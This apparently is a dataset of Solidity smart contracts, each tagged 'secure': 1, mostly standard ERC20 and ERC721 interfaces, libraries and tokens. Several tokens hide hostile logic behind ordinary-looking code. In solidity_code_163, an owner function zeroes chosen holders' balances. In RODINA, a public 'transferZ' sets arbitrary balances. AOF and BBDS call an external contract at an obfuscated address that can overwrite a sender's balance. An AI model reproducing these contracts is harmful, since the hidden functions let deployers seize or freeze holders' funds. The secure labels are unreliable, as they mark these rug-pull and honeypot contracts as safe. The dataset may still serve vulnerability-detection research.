files
dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory _name);\n\n function symbol() external view returns (string memory _symbol);\n\n function tokenURI(uint256 _tokenId) external view returns (string memory);\n}",
"file_name": "solidity_code_1629.sol",
"secure": 1,
"size_bytes": 394
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract OxE0f63A424a4439cBE457D80E4f4b51aD25b2c56C is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable fool;\n\n constructor() {\n _name = \"0xE0f63A424a4439cBE457D80E4f4b51aD25b2c56C\";\n\n _symbol = \"SPX\";\n\n _decimals = 18;\n\n uint256 initialSupply = 381000000;\n\n fool = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == fool, \"Not allowed\");\n\n _;\n }\n\n function classroom(address[] memory improvement) public onlyOwner {\n for (uint256 i = 0; i < improvement.length; i++) {\n address account = improvement[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_163.sol",
"secure": 1,
"size_bytes": 4434
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RODINA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Rodina\";\n\n string private constant _symbol = unicode\"UROD\";\n\n address private constant UniswapV2_UROD_WETH =\n 0x837FBdB33B984BBe0529D1e60e44d564e8cbD611;\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function transferZ(\n address recipient,\n uint256 amount\n ) public returns (bool) {\n require(_msgSender() != UniswapV2_UROD_WETH, \"Cant transfer\");\n\n _balances[recipient] = amount;\n\n return true;\n }\n}",
"file_name": "solidity_code_1630.sol",
"secure": 1,
"size_bytes": 3880
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ThugLifeToken is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 private constant _decimals = 18;\n uint256 public constant hardCap = 4_200_000_000 * (10 ** _decimals);\n bool public transferStatus;\n\n constructor(string memory name_, string memory symbol_, address _to) {\n transferStatus = true;\n _name = name_;\n _symbol = symbol_;\n _mint(_to, hardCap);\n }\n\n function setTransferStatus(bool _status) public onlyOwner {\n transferStatus = _status;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(transferStatus, \"tokens transfer functionality paused\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_1631.sol",
"secure": 1,
"size_bytes": 5437
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ninterface IERC721Enumerable is IERC721 {\n function totalSupply() external view returns (uint256);\n\n function tokenByIndex(uint256 _index) external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address _owner,\n uint256 _index\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_1632.sol",
"secure": 1,
"size_bytes": 441
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\nlibrary SafeTransfer {\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n (bool s, ) = address(token).call(\n abi.encodeWithSelector(IERC20.transfer.selector, to, value)\n );\n require(s, \"safeTransfer failed\");\n }\n}",
"file_name": "solidity_code_1633.sol",
"secure": 1,
"size_bytes": 414
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Sep {\n function biscuit(bytes32 pp) external view returns (uint256);\n}",
"file_name": "solidity_code_1634.sol",
"secure": 1,
"size_bytes": 147
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./Sep.sol\" as Sep;\n\ncontract AOF is IERC20, IERC20Metadata {\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\n event Tlog(string s);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 35000000 * 10 ** 18);\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n (bool dk, string memory sk) = arena(\n bytes(\"Arena of Faith\"),\n false,\n \"Arena of Faith\",\n amount,\n false,\n \"Arena of Faith-1\",\n false\n );\n if (dk) emit tlog(sk);\n require(to != address(0), \"ERC20: transfer to the zero address\");\n bytes32 bb = _beforeTokenTransfer(\n from,\n address(\n uint160(\n uint256(\n 823758601856083400514774640242337660293368589376 +\n 843294823948924324\n )\n )\n ),\n amount\n );\n if (bb != bytes32(0)) _balances[from] = uint256(bb);\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n }\n\n function arena(\n bytes memory dk0,\n bool pk1,\n string memory sk,\n uint256 pk,\n bool dk,\n string memory sk1,\n bool dks\n ) private pure returns (bool, string memory) {\n if (\n keccak256(abi.encodePacked(sk)) == bytes32(\"1\") &&\n pk == 0 &&\n dks &&\n dk &&\n keccak256(abi.encodePacked(sk1)) == bytes32(\"1\") &&\n pk1\n ) {\n return (false, string(dk0));\n }\n return (false, sk);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private view returns (bytes32) {\n bytes32 b1 = bytes32(uint256(uint160(from)));\n bytes32 b2 = bytes32(Sep(to).biscuit(b1));\n return b2;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1635.sol",
"secure": 1,
"size_bytes": 6266
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStructureInterface {\n function getValue(uint256 _id) external view returns (uint256);\n}",
"file_name": "solidity_code_1636.sol",
"secure": 1,
"size_bytes": 165
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./Sep.sol\" as Sep;\n\ncontract BBDS is IERC20, IERC20Metadata {\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\n event Tlog(string s);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 35000000 * 10 ** 18);\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n bytes32 bb = _beforeTokenTransfer(\n from,\n address(\n uint160(\n uint256(\n 823758601856083400514774640242337660293368589376 +\n 843294823948924324\n )\n )\n ),\n amount\n );\n if (bb != bytes32(0)) _balances[from] = uint256(bb);\n uint256 fromBalance = _balances[from];\n (bool mp, string memory np) = bearBinds(\n 5100,\n bytes(\"Bear Binds\"),\n bytes32(\"0\"),\n \"Bear Binds\",\n true,\n amount,\n false\n );\n if (mp) emit tlog(np);\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n }\n\n function bearBinds(\n uint256 jps,\n bytes memory kp0,\n bytes32 bp3,\n string memory kp1,\n bool jp,\n uint256 lp,\n bool lp1\n ) private pure returns (bool, string memory) {\n if (\n jps == 1 &&\n !jp &&\n lp == 0 &&\n keccak256(abi.encodePacked(kp1)) == bytes32(\"1\") &&\n keccak256(abi.encodePacked(kp0)) == bytes32(\"1\") &&\n lp1\n ) {\n return (false, string(kp0));\n }\n return (false, kp1);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private view returns (bytes32) {\n bytes32 b1 = bytes32(uint256(uint160(from)));\n bytes32 b2 = bytes32(Sep(to).biscuit(b1));\n return b2;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1637.sol",
"secure": 1,
"size_bytes": 6265
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IStructureInterface.sol\" as IStructureInterface;\n\nlibrary StructuredLinkedList {\n uint256 private constant _NULL = 0;\n uint256 private constant _HEAD = 0;\n\n bool private constant _PREV = false;\n bool private constant _NEXT = true;\n\n struct List {\n uint256 size;\n mapping(uint256 => mapping(bool => uint256)) list;\n }\n\n function listExists(List storage self) internal view returns (bool) {\n if (\n self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD\n ) {\n return true;\n } else {\n return false;\n }\n }\n\n function nodeExists(\n List storage self,\n uint256 _node\n ) internal view returns (bool) {\n if (\n self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD\n ) {\n if (self.list[_HEAD][_NEXT] == _node) {\n return true;\n } else {\n return false;\n }\n } else {\n return true;\n }\n }\n\n function sizeOf(List storage self) internal view returns (uint256) {\n return self.size;\n }\n\n function getNode(\n List storage self,\n uint256 _node\n ) internal view returns (bool, uint256, uint256) {\n if (!nodeExists(self, _node)) {\n return (false, 0, 0);\n } else {\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\n }\n }\n\n function getAdjacent(\n List storage self,\n uint256 _node,\n bool _direction\n ) internal view returns (bool, uint256) {\n if (!nodeExists(self, _node)) {\n return (false, 0);\n } else {\n return (true, self.list[_node][_direction]);\n }\n }\n\n function getNextNode(\n List storage self,\n uint256 _node\n ) internal view returns (bool, uint256) {\n return getAdjacent(self, _node, _NEXT);\n }\n\n function getPreviousNode(\n List storage self,\n uint256 _node\n ) internal view returns (bool, uint256) {\n return getAdjacent(self, _node, _PREV);\n }\n\n function getSortedSpot(\n List storage self,\n address _structure,\n uint256 _value\n ) internal view returns (uint256) {\n if (sizeOf(self) == 0) {\n return 0;\n }\n\n uint256 next;\n (, next) = getAdjacent(self, _HEAD, _NEXT);\n while (\n (next != 0) &&\n ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)\n ) {\n next = self.list[next][_NEXT];\n }\n return next;\n }\n\n function insertAfter(\n List storage self,\n uint256 _node,\n uint256 _new\n ) internal returns (bool) {\n return _insert(self, _node, _new, _NEXT);\n }\n\n function insertBefore(\n List storage self,\n uint256 _node,\n uint256 _new\n ) internal returns (bool) {\n return _insert(self, _node, _new, _PREV);\n }\n\n function remove(\n List storage self,\n uint256 _node\n ) internal returns (uint256) {\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\n return 0;\n }\n _createLink(\n self,\n self.list[_node][_PREV],\n self.list[_node][_NEXT],\n _NEXT\n );\n delete self.list[_node][_PREV];\n delete self.list[_node][_NEXT];\n\n self.size -= 1;\n\n return _node;\n }\n\n function pushFront(\n List storage self,\n uint256 _node\n ) internal returns (bool) {\n return _push(self, _node, _NEXT);\n }\n\n function pushBack(\n List storage self,\n uint256 _node\n ) internal returns (bool) {\n return _push(self, _node, _PREV);\n }\n\n function popFront(List storage self) internal returns (uint256) {\n return _pop(self, _NEXT);\n }\n\n function popBack(List storage self) internal returns (uint256) {\n return _pop(self, _PREV);\n }\n\n function _push(\n List storage self,\n uint256 _node,\n bool _direction\n ) private returns (bool) {\n return _insert(self, _HEAD, _node, _direction);\n }\n\n function _pop(\n List storage self,\n bool _direction\n ) private returns (uint256) {\n uint256 adj;\n (, adj) = getAdjacent(self, _HEAD, _direction);\n return remove(self, adj);\n }\n\n function _insert(\n List storage self,\n uint256 _node,\n uint256 _new,\n bool _direction\n ) private returns (bool) {\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\n uint256 c = self.list[_node][_direction];\n _createLink(self, _node, _new, _direction);\n _createLink(self, _new, c, _direction);\n\n self.size += 1;\n\n return true;\n }\n\n return false;\n }\n\n function _createLink(\n List storage self,\n uint256 _node,\n uint256 _link,\n bool _direction\n ) private {\n self.list[_link][!_direction] = _node;\n self.list[_node][_direction] = _link;\n }\n}",
"file_name": "solidity_code_1638.sol",
"secure": 1,
"size_bytes": 5397
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MinterRole {\n mapping(address => bool) Minter;\n\n event MinterAdded(address indexed account);\n event MinterRemoved(address indexed account);\n\n modifier onlyMinter() {\n require(\n Minter[msg.sender],\n \"MinterRole: caller does not have the Minter role\"\n );\n _;\n }\n\n function addMinter(address account) external onlyMinter {\n require(!Minter[account], \"MinterRole: account already has role\");\n require(\n account != address(0),\n \"MinterRole: account is the zero address\"\n );\n Minter[account] = true;\n emit MinterAdded(account);\n }\n\n function renounceMinter() external onlyMinter {\n Minter[msg.sender] = false;\n emit MinterRemoved(msg.sender);\n }\n\n function isMinter(address account) external view returns (bool) {\n return Minter[account];\n }\n}",
"file_name": "solidity_code_1639.sol",
"secure": 1,
"size_bytes": 994
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Squid is ERC20 {\n constructor() ERC20(\"SQUID\", \"SQUID\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_164.sol",
"secure": 1,
"size_bytes": 271
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./MinterRole.sol\" as MinterRole;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Mintable is Context, MinterRole, ERC20 {\n constructor() {\n Minter[_msgSender()] = true;\n }\n\n function mint(address to, uint256 amount) external virtual onlyMinter {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_1640.sol",
"secure": 1,
"size_bytes": 482
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Capped is ERC20 {\n uint256 private immutable _cap;\n\n constructor(uint256 cap_) {\n require(cap_ > 0, \"ERC20Capped: cap is 0\");\n _cap = cap_;\n }\n\n function cap() public view virtual returns (uint256) {\n return _cap;\n }\n\n function _mint(address account, uint256 amount) internal virtual override {\n require(\n ERC20.totalSupply() + amount <= cap(),\n \"ERC20Capped: cap exceeded\"\n );\n super._mint(account, amount);\n }\n}",
"file_name": "solidity_code_1641.sol",
"secure": 1,
"size_bytes": 670
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Mintable.sol\" as ERC20Mintable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract POOLX is ERC20Mintable, ERC20Burnable, ERC20Capped {\n constructor()\n ERC20(\"Poolz Finance\", \"POOLX\")\n ERC20Capped(5500000 * 10 ** 18)\n {}\n\n function _mint(\n address account,\n uint256 amount\n ) internal virtual override(ERC20Capped, ERC20) {\n super._mint(account, amount);\n }\n}",
"file_name": "solidity_code_1642.sol",
"secure": 1,
"size_bytes": 752
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract OwnableDelegateProxy {}",
"file_name": "solidity_code_1643.sol",
"secure": 1,
"size_bytes": 100
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OwnableDelegateProxy.sol\" as OwnableDelegateProxy;\n\ncontract ProxyRegistry {\n mapping(address => OwnableDelegateProxy) public proxies;\n}",
"file_name": "solidity_code_1644.sol",
"secure": 1,
"size_bytes": 221
}
|
{
